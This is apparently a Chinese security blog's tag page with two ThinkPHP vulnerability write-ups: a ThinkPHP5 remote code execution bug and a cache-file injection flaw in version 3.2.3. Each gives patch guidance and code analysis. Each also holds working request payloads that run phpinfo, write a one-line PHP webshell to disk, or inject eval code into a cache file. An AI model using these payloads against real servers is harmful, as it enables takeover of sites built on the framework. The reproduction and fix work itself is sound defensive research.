Tag:thinkphp

Tag (thinkphp)'s result:

ThinkPHP5 RCE漏洞重现及分析

0x00 概述 近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞,由于没有有效过滤$controller,导致攻击者可以利用命名空间的方式调用任意类的方法,进而getshell。 0x01 影响范围 5.x < 5.1.31 5.x < 5.0.23 以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等。 shodan一下:   0x02 漏洞重现 win7+thinkphp5.1.24 (1)执行phpinfo /index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’   debian+thinkphp5.1.30 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?> win7+thinkphp5.0.16 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>   0x03 修复方案 直接git/composer更新 手工修复 5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上 if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   5.0版本 在think\App类的module方法的获取控制器的代码后面加上 if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   如果改完后404,尝试修改正则,加上\/ if (!preg_match(‘/^[A-Za-z\/](\w|\.)*$/’, $controller)) {   0x04 漏洞分析 Thinkphp5.1.24: 先看补丁: 对controller添加了过滤 查看路由调度: Module.php:83 public function exec() { // 监听module_init $this->app[‘hook’]->listen(‘module_init’);   try { // 实例化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig(‘url_controller_layer’), $this->rule->getConfig(‘controller_suffix’), $this->rule->getConfig(’empty_controller’)); } catch (ClassNotFoundException $e) { throw new HttpException(404, ‘controller not exists:’ . $e->getClass()); } …… $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);   return $this->autoResponse($data); }); $instance = $this->app->controller 实例化控制器以调用其中的方法 查看controller方法 App.php:719 public function controller($name, $layer = ‘controller’, $appendSuffix = false, $empty = ”) { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);   if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {……

Thinkphp缓存函数设计缺陷getshell漏洞重现及分析

0x01 概述: 看到一篇帖子 https://xianzhi.aliyun.com/forum/read/1973.html 参考此帖子的步骤重现这个bug,并以tp3.2.3为例进行漏洞分析。 大概就是缓存函数设计不严格,导致攻击者可以插入恶意代码,直接getshell。 0x02 影响版本 5.0.10-3.2.3 0x03 bug重现 环境:redhat6+apache2+Mysql+php5+thinkphp3.2.3 IndexController.class.php: 关键代码: public function add(){ $db = M(‘books’,’think_’); if($_POST[‘bookname’] && $_POST[‘price’]) { $data[‘bookname’] = $_POST[‘bookname’]; S(‘name’,$data[‘bookname’]); $data[‘price’] = $_POST[‘price’]; $result = $db->add($data); if($result) { $this->redirect(‘Index/main’,”,2,’add success!’); } } else { $this->display(); } } 效果图: 添加书名ruby,价格34 看看缓存文件: 来试试添加一句话:eval($_POST[‘tpc’]); 用burpsuite提交数据。 抓包修改 bookname=%0D%0Aeval(%24_POST%5b%27tpc%27%5d)%3b%2f%2f 也就是回车,最后加上//。 Ps:那篇帖子的一句话是(//回车+一句话+#),我认为开头不用//也行,目的是换行写入一句话,我最后用//注释掉其他东西。 成功插入,如图: 再看看缓存文件和数据库: 都成功写入,到了激动人心的连接时刻了,上菜刀 http://192.168.0.100/thinkphptest/thinkphp/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php (注意大写,不然会not found……) 至此,bug成功重现! 0x04 修复方案 从重现过程可以看出,在缓存文件里攻击者通过换行写入了恶意代码。所以可以参考那篇帖子的修复方案: 1,打开文件:thinkphp\library\think\cache\driver\File.php 2,找到:public function set($name, $value, $expire = null) 方法 3,添加:$data = str_replace(PHP_EOL, ”, $data); 就是去掉\r或\r\n或\r,即去掉换行。 0x05 漏洞分析 那篇帖子以tp5为例分析,我这里就以tp3.2.3来分析吧,原理都是一样的。 先找到Cache.class.php文件,关键代码: /** * 连接缓存 * @access public * @param string $type 缓存类型 * @param array $options 配置数组 * @return object */ public function connect($type=”,$options=array()) { if(empty($type)) $type = C(‘DATA_CACHE_TYPE’); $class = strpos($type,’\\’)? $type : ‘Think\\Cache\\Driver\\’.ucwords(strtolower($type)); if(class_exists($class)) $cache = new $class($options); else E(L(‘_CACHE_TYPE_INVALID_’).’:’.$type); return $cache; 这里读入配置,获取实例化的一个类的路径,路径是 Think\\Cache\\Driver\\ 这里我尝试了var_dump($class)和echo $class直接浏览器访问Cache.class.php都无法像那篇帖子一样打印出$class,后来才发现添加数据写入缓存页面跳转才打印了Think\\Cache\\Driver\\File。 关键代码: /** * 取得缓存类实例 * @static * @access public * @return mixed */ static function getInstance($type=”,$options=array()) { static $_instance = array(); $guid = $type.to_guid_string($options); if(!isset($_instance[$guid])){ $obj = new Cache(); $_instance[$guid] = $obj->connect($type,$options); } return $_instance[$guid]; } public function __get($name) { return $this->get($name); } public function __set($name,$value) { return $this->set($name,$value); } public function __unset($name) { $this->rm($name); } public function……